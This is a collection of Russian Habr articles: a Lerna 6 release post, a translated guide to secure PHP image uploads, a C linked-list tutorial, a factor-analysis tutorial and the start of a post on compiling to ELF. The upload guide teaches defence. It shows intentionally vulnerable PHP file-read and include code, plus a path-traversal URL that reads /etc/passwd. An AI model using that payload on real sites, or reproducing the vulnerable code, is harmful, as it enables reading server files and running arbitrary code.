В этом случае когда бы вы не запустили `build` или `dev`, Lerna сначала запустит задачу `build` для всех зависимых пакетов.
Подробнее читайте [в документации](https://lerna.js.org/docs/concepts/task-pipeline-configuration).
Команда add-caching
-------------------
Если вы все еще не настроили кэширование или пайплайн задач, то не переживайте. Мы хотели сделать это как можно проще и предоставили команду:
```
npx lerna add-caching
```
Команда просканирует ваш воркспейс, найдет все package.json скрипты и поможет настроить как кэширование, так и пайплайн задач.
Краткое пошаговое видео:
В любом случае, вы всегда сможете создать `nx.json` сами.
Поддержка PNPM
--------------
Ранее Lerna не поддерживала как следует PNPM. Исправили это в Lerna 6. Теперь, когда вы используете Lerna в сочетании с PNPM, мы обязательно находим пакеты на основе `pnpm-workspace.yaml`, обеспечиваем использование `useWorkspaces: true`, при использовании `lerna version` соответствующим образом обновляем `pnpm-lock.yaml`, а также поддерживаем протокол `workspace:`, который использует PNPM.
Теперь вы наконец-то можете использовать один из самых быстрых пакетных менеджеров вместе с новой быстрой Lerna. Вы обязательно должны ознакомиться с этим более подробно [в документации](https://lerna.js.org/docs/recipes/using-pnpm-with-lerna).
Динамический вывод терминала
----------------------------
Порой запуская пареллельно задачи для большого количества проектов бывает достаточно сложно понять какой именно проект собрался или не собрался по терминальному выводу. Именно поэтому новая версия Lerna поставляется с динамическим терминальным выводом, который показывает только то, что действительно необходимо в данный момент.
Обратите внимание, что вы по-прежнему будете видеть все выходные данные, как обычно, в CI.
VSCode extension для Lerna
--------------------------
Теперь Lerna имеет специальное [расширение для VSCode](https://lerna.js.org/docs/features/editor-integrations), которое поможет вам работать с монорепой. Оно позволяет вам запускать команды прямо из контекстного меню (при нажатии правой клавиши мыши на проекте):
Или визуализировать проект с его зависимостями в воркспейсе:
Также вы получите умное автодополнение в конфигурационных файлах. Вот пример Nx Console, предоставляющей контекстную информацию при редактировании `targetDefaults` в `nx.json`:
Lerna Repair
------------
Lerna 6 поставляет вместе с командой `lerna repair`. Запуск этой команды автоматически исправит вашу конфигурацию Lerna. Например, в Lerna 6 нет необходимости указывать `useNx: true` в `lerna.json`, так как это значение по умолчанию. Запуск `lerna repair` исправляет это.
Это позволяет вам иметь самые свежие настройки Lerna, и они будут становиться еще более мощными по мере того, как мы будем добавлять миграции в будущем.
Lerna и Prettier
----------------
Сейчас Prettier это часть стандартного набора инструментов каждого разработчика. В Lerna 6 мы добавили возможность определения установлен ли Prettier в воркспейсе. Если Prettier установлен, то мы применяем его ко всем файлам, которые были обновлены с помощью `lerna version`. Больше никакого второго коммита для исправления форматирования!
Миграция на Lerna 6
-------------------
Миграция с Lerna 5 на Lerna 6 неломающая. Мы подняли мажорную версию, потому что изменили некоторые настройки по умолчанию и хотели рассказать об этом должным образом.
Даже если вы все еще используете 4-ую версию и хотите мигрировать на 6-ую, то это должно быть очень просто и без ломающих изменений в большинстве случаев.
Просто обновите пакет lerna и запустить команду
```
npx lerna add-caching
```
для включения и настройки кэширования в вашей воркспейсе.
У вас не получилось или вам нужна помощь? Существует канал Slack, организованный сообществом, где также присутствуют основные участники Nx и Lerna. Присоединяйтесь к <https://go.nrwl.io/join-slack> и войдите в `#lerna`канал.
Лерна теперь использует Nx. Я все еще могу использовать свои команды Lerna?
---------------------------------------------------------------------------
Конечно! Одним из ключевых преимуществ новой интеграции Lerna с Nx является то, что вы можете продолжать использовать существующие команды Lerna без изменений. Теперь они будут намного быстрее.
Подробнее об этом можно прочитать [в нашей документации](https://lerna.js.org/docs/lerna-and-nx) .
Вы поддерживаете open-source проект с Lerna?
--------------------------------------------
Если вы поддерживаете open-source проект и используете Lerna, сообщите нам об этом!
Свяжитесь с командой Lerna [в Твиттере](https://twitter.com/lernajs) или свяжитесь со [мной напрямую](https://twitter.com/juristr) . Мы хотели бы посмотреть и помочь с миграцией, посмотреть репозиторий и убедиться, что он настроен оптимальным образом.
А еще как мейнтейнер проекта с открытым исходным кодом, вы также получаете неограниченное бесплатное облачное кэширование с помощью Nx Cloud. Так что мы хотели бы помочь вам с настройкой.
---
Будет полезным
--------------
* 🧠 [Lerna Docs](https://lerna.js.org/)
* 👩💻 [Lerna GitHub](https://github.com/lerna/lerna)
* 💬 [Nrwl Community Slack](https://go.nrwl.io/join-slack) (присоединяйтесь к `#lerna` каналу)
* 📹 [Канал Nrwl на YouTube](https://www.youtube.com/nrwl_io)
* 🧐 [Нужна помощь с Angular, React, Monorepos, Lerna или Nx? Поговорите с нами](https://nrwl.io/contact-us)! | https://habr.com/ru/post/696770/ | null | ru | null |
# Безопасная загрузка изображений на сервер. Часть вторая
*Это вторая часть перевода. Начинать прочтение лучше с [первой](http://habrahabr.ru/blogs/php/44610/).*
Итак, после применения описанных в первой части методов, мы можем прекратить волноваться? К сожалению, нет. То, какие расширения файла будут переданы транслятору PHP, будет зависеть от конфигурации сервера. Разработчик часто не знает и не контролирует конфигурацию веб-сервера. Мы видели веб-серверы, с такой конфигурацией, что файлы .html и .js выполнялись как php. Некоторые веб-приложения могут потребовать, чтобы файлы .gif или .jpeg интерпретировались PHP (это часто случается, когда изображения, например графы и диаграммы, динамически строятся на сервере самим PHP).
Даже если мы знаем точно, какие расширения файла интерпретируются PHP, у нас нет никакой гарантии, что это не изменится в будущем, когда другие приложения будут установлены на сервер. К тому времени можно забыть, что безопасность нашего сервера зависит от этих изменений.
Если у вас веб-сервер на основе Microsoft IIS, то надо иметь в виду еще несколько моментов. В отличие от Apache, сервер Microsoft IIS поддерживает выполнение «PUT»-запросов, которые позволят пользователям загружать файлы непосредственно, минуя PHP. PUT-запросы могут быть использованы для загрузки файлов на сервер, если системные права позволяют это сделать IIS (он запущен как IUSR\_MACHINENAME). Это можно настроить с помощью Services Manager:
Чтобы позволить PHP загружать файлы, Вы должны изменить разрешения файловой системы сделать директорий доступным для записи. Очень важно удостовериться, что разрешения IIS не позволяют записывать файлы. Иначе пользователи будут в состоянии загрузить произвольные файлы с помощью PUT-запросов, обходя любые проверки, которые вы сделаете в PHP.
Косвенный доступ к загруженным файлам
=====================================
Иногда невозможно дать прямой доступ к директории с загрузкой. Это может быть вызвано тем, что данная директория не находится под корнем сайта или доступ ней ограничен с помощью настроек сервера или .htaccess.
Рассмотрим следующий пример (upload5.php):
> `php<br/
> $uploaddir = '/var/spool/uploads/'; # Outside of web root
>
> $uploadfile = $uploaddir . basename($\_FILES['userfile']['name']);
>
>
>
> if (move\_uploaded\_file($\_FILES['userfile']['tmp\_name'], $uploadfile)) {
>
> echo "File is valid, and was successfully uploaded.\n";
>
> } else {
>
> echo "File uploading failed.\n";
>
> }
>
> ?>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Пользователи не могут просто обратиться к /uploads/, чтобы загрузить файлы, и мы должны обеспечить дополнительную возможность этого (view5.php):
> `php<br/
> $uploaddir = '/var/spool/uploads/';
>
> $name = $\_GET['name'];
>
> readfile($uploaddir.$name);
>
> ?>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Код view5.php обладает серьезной уязвимостью. Злоумышленник может использовать этот код, чтобы прочитать любой файл, который может быть прочитан на уровне прав веб-сервера. Например, если вызвать
*[www.example.com/view5.php?name=../../../etc/passwd](http://www.example.com/view5.php?name=../../../etc/passwd)*, то возможно получится прочитать файл с паролями.
*Этот баг может быть пофиксен с помощью функции результата dirname(realpath()), которая возвращает реальный путь к файлу. Таким образом, если этот путь некорректен, то не показываем файл. Аналогично с basename() – получаем только имя файла, которое уже присоединяем к корректному директорию загрузки. – Прим. переводчика.*
Использование локальных include (Local file inclusion attacks)
==============================================================
*Это одна из самых страшных дыр безопасности на сайтах. Она настолько хорошо известна, что в действительности уже почти не проявляется. Но, как говорится – «повторение – мать учения». – Прим. переводчика.*
Прошлый пример хранит загруженные файлы за пределами корня, где к ним нельзя получить прямой доступ и выполнить. Хотя это и безопасно, но у злоумышленника может быть шанс использовать это в своих интересах, если в коде присутствует другая уязвимость – использование include. Предположим, что у нас есть некоторая другая страница, которая содержит следующий код (local\_include.php):
> `php<br/
> // ... some code here
>
>
>
> if(isset($\_COOKIE['lang'])) {
>
> $lang = $\_COOKIE['lang'];
>
> } elseif (isset($\_GET['lang'])) {
>
> $lang = $\_GET['lang'];
>
> } else {
>
> $lang = 'english';
>
> }
>
>
>
> include("language/$lang.php");
>
>
>
> // ... some more code here
>
> ?>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Это общая часть кода, которая обычно имеет место в многоязычных веб-приложениях. Подобный код может обеспечить различный include файлов в зависимости от пользовательских предпочтений.
Код имеет от include-уязвимость. Нападавший может заставить эту страницу включать любой файл из файловой системы, например:
Этот запрос заставляет local\_include.php включать и выполнить «language/../../../../../../../../tmp/phpinfo», который является просто/tmp/phpinfo. Нападавший может выполнить только файлы, которые уже находятся на стороне сервера, таким образом его возможности ограничены.
Но, если нападавший в состоянии загрузить файлы, даже вне корня сайта, и он знает название и местоположение загруженного файла, с помощью подобной уязвимости он может выполнить произвольный код на сервере.
*Раньше существовала настройка php, которая позволяла инклудить файлы по url, таким образом можно было выполнить код, который мог и не находиться на сервере. В последних версиях php такой возможности в принципе нет из соображений безопасности. – Прим. переводчика*
В итоге
=======
При обеспечении защиты важно препятствовать тому, чтобы злоумышленник знал название загруженного файла. Это может быть сделано случайной генерацией имён загружаемых файлов, с сохранением оригинальных в БД.
Рассмотрим пример (upload6.php):
> `php<br/
> require\_once 'DB.php'; // We are using PEAR::DB module
>
> $uploaddir = '/var/spool/uploads/'; // Outside of web root
>
> $uploadfile = tempnam($uploaddir, "upload\_");
>
>
>
> if (move\_uploaded\_file($\_FILES['userfile']['tmp\_name'], $uploadfile)) {
>
> // Saving information about this file in the DB
>
> $db =& DB::connect("mysql://username:password@localhost/database");
>
>
>
> if(PEAR::isError($db)) {
>
> unlink($uploadfile);
>
> die "Error connecting to the database";
>
> }
>
>
>
> $res = $db->query("INSERT INTO uploads SET name=?, original\_name=?, mime\_type=?",
>
> array(basename($uploadfile,
>
> basename($\_FILES['userfile']['name']),
>
> $\_FILES['userfile']['type']));
>
>
>
> if(PEAR::isError($res)) {
>
> unlink($uploadfile);
>
> die "Error saving data to the database. The file was not uploaded";
>
> }
>
>
>
> $id = $db->getOne('SELECT LAST\_INSERT\_ID() FROM uploads'); // MySQL specific
>
>
>
> echo "File is valid, and was successfully uploaded. You can view it
> href=\"view6.php?id=$id\">here\n";
>
> } else {
>
> echo "File uploading failed.\n";
>
> }
>
> ?>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Просмотр загруженного файла (view6.php):
> `php<br/
> require\_once 'DB.php';
>
> $uploaddir = '/var/spool/uploads/';
>
> $id = $\_GET['id'];
>
>
>
> if(!is\_numeric($id)) {
>
> die("File id must be numeric");
>
> }
>
>
>
> $db =& DB::connect("mysql://root@localhost/db");
>
>
>
> if(PEAR::isError($db)) {
>
> die("Error connecting to the database");
>
> }
>
>
>
> $file = $db->getRow('SELECT name, mime\_type FROM uploads WHERE id=?',
>
> array($id), DB\_FETCHMODE\_ASSOC);
>
>
>
> if(PEAR::isError($file)) {
>
> die("Error fetching data from the database");
>
> }
>
>
>
> if(is\_null($file) || count($file)==0) {
>
> die("File not found");
>
> }
>
>
>
> header("Content-Type: " . $file['mime\_type']);
>
> readfile($uploaddir.$file['name']);
>
> ?>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Теперь загруженные файлы нельзя непосредственно выполнить (потому что они сохранены за пределами корня). Они не могут использоваться в include-уязвимостях, потому что у нападавшего нет возможности узнать имя загруженного файла в файловой системе на сервере. Есть некоторая проблема с «пересечением» файлов, потому что файлы привязаны к числовому индексу, а не к его имени. Также хотелось бы указать на использование PEAR::DB для SQL-запросов. В нашем SQL используются вопросительные знаки как места для переменных запроса. Когда данные, полученные от пользователя, передаются в запрос, их типы автоматически расставляются, предотвращая проблемы SQL-инъекций.
Альтернативой тому, чтобы хранить файлы в файловой системе является хранение файлов непосредственно в базе данных с помощью полей BLOB. У этого подхода есть тоже свои плюсы, но в большинстве случаев он не применяется, из-за своей огромной ресурсоемкости.
Другие проблемы
===============
Существует еще много вещей, на которые стоит обратить внимание при разработке систем с загрузкой файлов на сервер, а именно:
1. **Отказ в обслуживании.** Пользователь может загрузить несколько больших файлов, тем самым заняв все свободное место на сервере. Это решается, выставлением ограничения на размер загружаемого файла и на количество загружаемых файлов от одного пользователя в день.
2. **Производительность.** В последнем примере при частых запросах на показ файла просмотр может быть узким местом. Если сервер сильно нагружен, то рекомендуется использовать еще один, предназначенный только для хранения статичного контента, на котором не может быть выполнен php-код. Еще одним способом повысить производительность является использование кэширующего прокси-сервера, который предотвращает повторную обработку статического контента на стороне сервера выдавая соответствующие заголовки.
3. **Управление доступом.** Во всех примерах выше мы предполагали, что любой пользователь может просмотреть любой загруженный файл. Однако, может потребоваться, что бы только тот пользователь который загрузил файл мог просмотреть его. В этом случае при загрузке должна сохраняться информация о владельце файла. При просмотре файла должна быть соответствующая проверка.
Заключение
==========
При разработке загрузки файлов на сервер необходимо учитывать описанные в статье уязвимости, что бы не стать жертвой злоумышленников.
Лучше всего не давать пользователям обращаться напрямую к загружаемым файлам. Это может быть сделано путем хранения загруженных файлов за пределами корня сайта или запрещая доступ к данной директории с помощью конфигурации веб-сервера.
Другой важной мерой безопасности – не хранить файлы на сервере под оригинальными именами файлов. Это предотвратит возможности Include-уязвимостей, даже если они есть, а так же сделает любую манипуляцию с именами файлов для злоумышленника невозможной.
Проверка формата изображения через PHP не дает никакой гарантии, что данный файл не может быть выполнен как php-скрипт. Можно создать корректное изображение, которое в тоже время будет являться выполнимым php-скриптом.
Приходящим от клиента данным, таким как Content-Type и расширение файла вообще доверять нельзя. Их очень просто подделать. Более того, список исполняемых расширений зависит целиком от веб-сервера, и нет никакой гарантии что он со временем не изменится.
Производительность очень важна, но совершенно невозможно обеспечить безопасную загрузку файлов на сервер без ущерба для неё. | https://habr.com/ru/post/44615/ | null | ru | null |
# Связные списки, трюки с указателями и хороший вкус
В [интервью на TED 2016](https://www.ted.com/talks/linus_torvalds_the_mind_behind_linux) (14:10) Линус Торвальдс рассказывает о *хорошем стиле* программирования. В качестве примера приводит два варианта удаления элементов из односвязных списков (см. ниже). В первом варианте есть специальный случай, а в другом — нет. Линус предпочитает второй.
Его комментарий:
> [...] Не надо размышлять, почему здесь нет оператора if. Важно посмотреть на задачу с другой стороны и переписать её так, чтобы особый случай исчез и стал обычным случаем, и это *хороший код*. — Л. Торвальдс
В качестве примера Линус показывает достаточно простой псевдокод в стиле Си. Но не даёт концептуального объяснения. Поэтому не сразу понятно, как работает косвенный указатель.
Подробно разберём это решение и его преимущества. В качестве бонуса показано не только удаление, но и вставка элемента через косвенную адресацию.
Код
===
Базовая структура данных для односвязного списка целых чисел показана на рис. 1.
*Рис. 1. Односвязный список из целых чисел*
Числа — это произвольно выбранные целочисленные значения, а стрелки соответствуют указателям: `head` — это указатель типа `IntListItem*`, все блоки являются экземплярами структуры `IntListItem`, каждый со своей переменной (`next`в коде) типа `IntListItem*`, которая указывает на следующий элемент.
Реализация структуры данных на Си:
```
struct IntListItem {
int value;
struct IntListItem* next;
};
typedef struct IntListItem IntListItem;
struct IntList {
IntListItem* head;
};
typedef struct IntList IntList;
```
Также (минимальный) API:
```
/* The textbook version */
void remove_cs101(IntList* l, IntListItem* target);
/* A more elegant solution */
void remove_elegant(IntList* l, IntListItem* target);
```
Теперь рассмотрим реализации `remove_cs101()` и `remove_elegant()`. Код примеров не противоречит псевдокоду из примера Линуса, но компилируется и запускается.
### Базовая версия
*Рис. 2. Концептуальная модель структуры данных списка в базовом алгоритме*
```
void remove_cs101(IntList *l, IntListItem *target)
{
IntListItem *cur = l->head, *prev = NULL;
while (cur != target) {
prev = cur;
cur = cur->next;
}
if (prev) {
prev->next = cur->next;
} else {
l->head = cur->next;
}
}
```
В стандартном подходе два указателя обхода `cur` и `prev`, которые отмечают текущую и предыдущую позицию обхода в списке соответственно. `cur` начинает с головы списка `head` и продвигается вперёд, пока цель не будет найдена. В свою очередь, `prev` начинается с `NULL` и впоследствии обновляется на предыдущее значение `cur` при каждом следующем продвижении вперёд. Когда цель найдена, алгоритм проверяет, не равен ли `prev` нулю. Если так, то `cur` указывает на первый элемент в списке, и в этом случае удаление означает перемещение головы списка вперёд.
### Более элегантное решение
В более элегантной версии меньше кода, и она не требует отдельной ветви для удаления первого элемента в списке.
```
void remove_elegant(IntList *l, IntListItem *target)
{
IntListItem **p = &l->head;
while ((*p) != target) {
p = &(*p)->next;
}
*p = target->next;
}
```
В коде применяется косвенный указатель `p`, содержащий адрес указателя на элемент списка, начиная с адреса `head`. В каждой итерации этот указатель расширяется, чтобы включить адрес указателя на следующий элемент списка, то есть адрес элемента `next` в текущем `IntListItem`. Когда указатель на элемент списка `(*p)` равен `target`, мы выходим из цикла поиска и удаляем элемент из списка.
Как это работает?
=================
Косвенный указатель `p` даёт два концептуальных преимущества:
1. Позволяет интерпретировать связный список таким образом, что указатель `head` становится неотъемлемой частью структуры данных. Это устраняет необходимость в специальном случае для удаления первого элемента.
2. Также позволяет оценить состояние цикла `while` без необходимости отпускать указатель, указывающий на `target`. Это позволяет изменять указатель на `target` и обходиться одним итератором, в отличие от `prev` и `cur`.
Рассмотрим каждый пункт по очереди.
### Интеграция указателя head
Стандартная модель интерпретирует связный список как последовательность экземпляров `IntListItem`. Начало последовательности можно получить с помощью указателя `head`. Это приводит к концептуальной модели, показанной выше на рис. 2. Указатель `head` просто рассматривается как дескриптор для доступа к началу списка. `prev` и `cur` являются указателями типа `IntListItem*` и всегда указывают на элемент или `NULL`.
Элегантная реализация использует схему косвенной адресации, которая даёт другое представление о структуре данных:
*Рис. 3. Концептуальная модель структуры данных списка в более элегантном решении*
Здесь `p` представляет тип `IntListItem**` и содержит адрес указателя на текущий элемент списка. Когда указатель продвигается вперёд, его адрес меняется на следующий элемент.
В коде это выглядит как `p = &(*p)->next`:
1. `(*p)`: разыменовать адрес указателя на текущий элемент списка.
2. `->next`: снова разыменовать этот указатель и выбрать поле с адресом следующего элемента.
3. `&`: взять адрес этого поля (то есть получить указатель на него).
Это соответствует интерпретации структуры данных, где список представляет собой последовательность указателей на элементы `IntListItem` (рис. 3).
### Последний штрих
Дополнительным преимуществом этой конкретной интерпретации является то, что она на протяжении всего обхода допускает редактирование указателя `next` для предшественника текущего элемента.
Если `p` содержит адрес указателя на элемент списка, сравнение в цикле поиска становится таким:
```
while ((*p) != target) {
...
}
```
Цикл поиска завершится, если `(*p)` равно `target`, и как только это произойдёт, мы всё равно сможем изменить `(*p)`, так как удерживаем его адрес `p`. Таким образом, несмотря на итерацию цикла до конца, сохраняется дескриптор (адрес поля `next` или указатель `head`), который можно использовать для непосредственного изменения указателя на элемент.
Вот почему мы можем изменить входящий указатель на элемент, чтобы он указывал на другое место, используя `*p = target->next`, и поэтому нам не нужны указатели обхода `prev` и `cur` для удаления элемента.
Новое применение
================
Оказывается, ту же идею можно применить для крайне лаконичной реализации ещё одной функции в связных списках: `insert_before()`, то есть вставки данного элемента перед другим.
### Вставка перед существующим элементом
Во-первых, добавим следующую декларацию в `list.h`:
```
void insert_before(IntList *l, IntListItem *before, IntListItem *item);
```
Функция возьмёт указатель на список l, указатель перед элементом в этом списке и указатель на новый элемент списка, который функция вставит перед ним.
### Быстрый рефакторинг
Прежде чем двигаться дальше, оформим цикл поиска в отдельную функцию:
```
static inline IntListItem **find_indirect(IntList *l, IntListItem *target)
{
IntListItem **p = &l->head;
while ((*p) && (*p) != target) {
p = &(*p)->next;
}
return p;
}
```
и используем её в `remove_elegant()`:
```
void remove_elegant(IntList *l, IntListItem *target)
{
IntListItem **p = find_indirect(l, target);
*p = target->next;
}
```
### Реализация insert\_before()
Используя `find_indirect()`, легко реализовать `insert_before()`:
```
void insert_before(IntList *l, IntListItem *before, IntListItem *item)
{
IntListItem **p = find_indirect(l, before);
*p = item;
item->next = before;
}
```
Особенно радует цельная семантика для крайних случаев: если `before` указывает на заголовок списка, новый элемент будет вставлен в начало, если `before` является нулевым или недействительным (то есть не существует в `l`), новый элемент будет добавлен в конце.
Заключение
==========
Предпосылкой более элегантного решения для удаления элементов является одно простое изменение: косвенный указатель `IntListItem**` для итерации указателей на элементы списка. Всё остальное вытекает оттуда: отпадает необходимость в специальных случаях или ветвлениях. Достаточно одного итератора, чтобы найти и удалить целевой элемент. И оказывается, что тот же подход обеспечивает элегантное решение для вставки вообще и для вставки *перед* существующим элементом в частности.
Итак, возвращаясь к первоначальному замечанию Линуса: это показатель хорошего вкуса? Трудно сказать. Но явно налицо творческое и очень элегантное решение хорошо известной задачи. | https://habr.com/ru/post/532004/ | null | ru | null |
# Факторный анализ для интерпретации исследования клиентского опыта
### Что исследуем
Вы провели опрос клиентского опыта в вашей компании. В данном случае на каждый вопрос клиенты отвечали по 10 бальной шкале, где 1 - совсем неудовлетворен, а 10 - полностью удовлетворен. Вопросы разбиты на несколько тематических блоков. В начале блок основных вопросов:
* общая удовлетворенность (CSI - Customer Satisfaction Index);
* вероятность рекомендации (для расчета NPS - Net Promoter Score);
* вероятность повторной покупки.
Далее следуют уточняющие блоки вопросов, например, работа менеджера, качество продукции и др.
### С какими проблемами сталкиваемся при анализе результатов
При обработке результатов нам нужно понять как повысить общую удовлетворенность нашим продуктом (услугой), при этом мы сталкиваемся с проблемами:
* как интерпретировать результаты опроса;
* как связать общую удовлетворенность нашим продуктом (услугой) с другими, более конкретными аспектами деятельности;
* какие из аспектов оказывают влияние и в какой мере на общую удовлетворенность.
Мы можем анализировать результаты в ретроспективе сравнивая изменения средних баллов, можем посчитать корреляции между основным вопросами и подгруппами вопросов, но скорее всего это не приведет нас к более или менее понятным выводам.
Для ответов на вопросы может быть полезным применить факторный анализ. Он позволит увидеть степень влияния того или иного аспекта, а также сформировать группы параметров, тесно связанных между собой.
### Приступим к анализу
```
--импортируемые библиотеки
import pandas as pd
import matplotlib.pyplot as plt
import seaborn as sns
import numpy as np
from factor_analyzer import FactorAnalyzer
from factor_analyzer.factor_analyzer import calculate_kmo
from factor_analyzer.factor_analyzer import calculate_bartlett_sphericity
```
#### 1. Исследовательский анализ данных - поиск аномальных респондентов
Загрузим датасет с результатами опроса
```
df = pd.read_excel('data.xlsx', sheet_name='data')
df.head(10)
```
Посмотрим как распределились суммарные оценки респондентов. Исключим аномальных респондентов. Например, тех, кто на большинство вопросов отвечал минимальными или максимальными баллами, или вообще отказывался отвечать на большее количество вопросов. Предполагаем, что таких респондентов крайне мало, но они могут существенно исказить анализ результатов опроса.
```
distribution = df.set_index('client_code').sum(axis=1)
plt.title('Распределение суммарных оценок')
distribution.hist();
```
На диаграмме размаха (ящика с "усами") очерчены верхняя и нижняя граница ящика, что соответствуют первой (75%) третьей (25%) квантилям. Нам же нужно определить значения, выходящие за так называемые "усы", которые расположены вверху и внизу от границ ящика на расстоянии 1.5 межквартильных размахов.Рассчитаем верхнюю и нижнюю границы:
```
Q1 = distribution.quantile(0.25)
Q3 = distribution.quantile(0.75)
IQR = Q3 - Q1
print('upper limit: {:.0f}'.format(Q3+1.5*IQR))
print('lower limit: {:.0f}'.format(Q1-1.5*IQR))
```
> upper limit: 348
>
> lower limit: 146
>
>
Верхняя граница - суммарные оценки респондентов выше 348 баллов. Нижняя граница - суммарные оценки респондентов ниже 146 баллов. Исключим респондентов, выходящих за границы.
```
outliers = distribution[(distribution > (Q3+1.5*IQR))
| (distribution < (Q1-1.5*IQR))].reset_index()
outliers = outliers['client_code'].to_list()
print('number of outlier clients:', len(outliers))
print('share of outlier clients: {:.2%}'
.format(len(outliers)/len(distribution)))
```
> number of outlier clients: 10
>
> share of outlier clients: 4.27%
>
>
Аномальными оказались 4%, исключим их их набора данных.
#### 2. Убедимся, что обычные корреляции нам "ни о чем не говорят".
Посчитаем корреляции (Спирмена) между вопросами.
```
df_corr = df.drop(columns=['client_code']) \
.corr(method='spearman').unstack().sort_values(ascending=False) \
.drop_duplicates().reset_index()
df_corr.columns = ['features_1', 'features_2', 'corr']
df_corr_60 = df_corr[(df_corr['corr'] >= 0.6)]
print ('доля вопросов, между которыми корреляция Спирмена 60% и более: {:.0%}'
.format(len(df_corr_60) / len(df_corr) ))
```
> доля вопросов, между которыми корреляция Спирмена 60% и более: 5%
>
>
Как мы видим, например, у вопроса CSI нет явных корреляций с другими. А доля вопросов, которые между собой коррелируют на 60% и более всего 5%. Поэтому перейдем к факторному анализу.
#### 3. Факторный анализ (ФА)
#### 3.1 Проверка данных на возможность проведения на них факторного анализа
Заменим отсутствующие оценки (респонденты могли отказываться отвечать на какой-то из вопросов) средним во вопросу, чтобы технически можно было провести факторный анализ.
```
df_cc = df.copy()
df_cc = df_cc.set_index('client_code').mask(df_cc == 0).fillna(df_cc.median())
```
Для того, чтобы определить подходят ли наши данные для факторного анализа, проверим их на критерий Бартлетта и тест Кайзера-Мейера-Олкина (КМО).
Критерий Бартлетта
```
chi_square_value, p_value = calculate_bartlett_sphericity(df_cc)
chi_square_value, p_value
```
> (4611.652245754526, 0.0)
>
>
the p-value 0, тест статистически значим
Тест Кайзера-Мейера-Олкина (КМО)
```
kmo_all, kmo_model = calculate_kmo(df_cc)
kmo_model
```
> 0.8450885308794326
>
>
KMO более 0.85 (близко к 1), значит данные подходя для проведения факторного анализа
Наши данные подходят для факторного анализа.
#### 3.2 Определим кол-во факторов
То есть определим количество групп вопросов, результаты которых схожи между собой.
```
fa = FactorAnalyzer()
fa.fit(df_cc)
ev, v = fa.get_eigenvalues()
ev
```
> array([9.99955313, 3.48353376, 2.65717082, 2.01062146, 1.47540767, 1.21703008, 1.01630207, 0.97019466, 0.91913583, 0.83630588, 0.81516091, 0.72197036, 0.66557448, 0.59507375, 0.57851829, 0.54356097, 0.48482209, 0.42742778, 0.41153206, 0.39001518, 0.34143319, 0.33873975, 0.32238175, 0.28523165, 0.24437559, 0.2380292 , 0.20200081, 0.19508718, 0.14846106, 0.14205693, 0.12562844, 0.11444726, 0.08321594])
>
>
Изобразим результат графически.
```
plt.scatter(range(1,df_cc.shape[1]+1),ev)
plt.plot(range(1,df_cc.shape[1]+1),ev)
plt.title('График каменистой осыпи для определения необходимого \
кол-ва факторов')
plt.xlabel('Факторы')
plt.ylabel('Собственные значения')
plt.axhline(y=1,c='k');
```
Выделим 6 факторов с собственным значением больше 1, то есть 6 групп вопросов.
Рассчитаем корреляционную матрицу между вопросами и полученными шестью факторами.
```
fa = FactorAnalyzer()
fa.set_params(n_factors=6, rotation='varimax')
fa.fit(df_cc)
loadings = fa.loadings_
loadings = np.abs(loadings)
```
Сохраним результат в DataFrame.
```
df_fa = pd.DataFrame(loadings).reset_index()
df_fa.columns=['№', 'Factor1', 'Factor2', 'Factor3', 'Factor4', 'Factor5', 'Factor6']
df_fa = (df_fa.merge(questions['question'], how='left', left_index=True, right_index=True)
.reindex(columns=['№', 'question', 'Factor1', 'Factor2', 'Factor3', 'Factor4', 'Factor5', 'Factor6']))
df_fa
```
Нарисуем тепловую карту с полученными результатами для наглядности.
```
df_fa_pivot = (df_fa.pivot_table(index='question')
.sort_values(by=['№']).drop(columns=['№']))
plt.figure(figsize=(13, 13))
sns.heatmap(df_fa_pivot, annot=True, fmt='.1%', linewidths=1, linecolor='gray');
```
На рисунке видно, что наиболее близкие вопросы сгруппировались в факторы, это видно по высокой корреляции между вопросами и выделенным фактором.В результате получаем таблицу, где рассчитаны корреляции каждого вопроса с каждым из выделенных 6 факторов. То есть мы видим как каждый вопрос коррелирует со сформированным фактором. С помощью факторного анализа мы разделили все вопросы на группы и видим степень влияния вопроса на эту группу.
#### 4. Интерпретация и анализ результатов ФА
Для удобства дальнейших расчетов предлагаю перенести полученные результаты в Excel. Итоговая таблица будет выглядеть так, а ниже описано как все считается.
* Для каждого вопроса укажем его средний балл, который получили от респондентов.
* Далее в каждом факторе выделим корреляции с вопросами, если они выше 0.5.
* Теперь посчитаем средний балл для каждого фактора как средневзвешенный балл, весами будут выступать корреляции более 0.5. Например, средний балл для Фактора №5:
Проверим полученные результаты, сравнив средний балл по всем вопросам респондентов и средний балл по всем факторам. Видим, что разница всего на 0.1, то есть результаты совпадают, значит наш анализ имеет место быть.
Теперь самая главная часть - анализ, выводы и интерпретация полученных результатов. На основе полученных данных можно построить разные гипотезы, которые, например, потом можно проверить на качественных исследованиях.
Приведем несколько примеров как интерпретировать результаты:
* Фактор №1 оказывает повышающее влияние на общий балл удовлетворенности, так как его балл 9.3, выше, чем общий (9.1). Посмотрим детальнее из чего он состоит.
* Этот фактор связан с работой менеджеров и процессом подготовки договоров.
* Как видно наибольшая корреляция фактора с вопросами, связанными с оперативностью (предоставления информации и согласованию спецификаций). Но если у оперативности предоставления информации менеджером балл высокий (9.4, выше, чем у фактора в целом - 9.3), то у оперативности предоставления спецификации балл занижает общий балл фактора (9.1), при этом имеет самую высокую корреляцию, а значит наибольшее влияние на оценки этой группы вопросов. Значит нам для улучшения общих результатов следует обратить на этот процесс повышенное внимание и внести предложения по его улучшению.
* Самый низкий балл у группы вопросов в Факторе №1 - оперативность при выставлении КП, он тоже оказывает понижающее действие (9.0 баллов).
* А вот работа менеджеров, их доступность и оперативность вызывает у клиентов только положительные отзывы, менеджеры молодцы.
Надеюсь предложенный вариант расчета принесет интересные результаты на ваших данных! | https://habr.com/ru/post/687338/ | null | ru | null |
# Компиляция. 10: компиляция в ELF
В [прошлый раз](http://habrahabr.ru/blogs/programming/103402/) мы ограничились компиляцией джей-скрипа в файл в нашем собственном формате, которому требовался специальный загрузчик. Кроме того, мы задумали было пару оптимизаций исполнимого кода, требующих анализа соседних команд.
### Далее в посте:
1. Оптимизация «в глазок»
2. Стандартные функции
3. Вывод в ELF
4. Как это работает?
5. Что получилось?
### Оптимизация «в глазок»
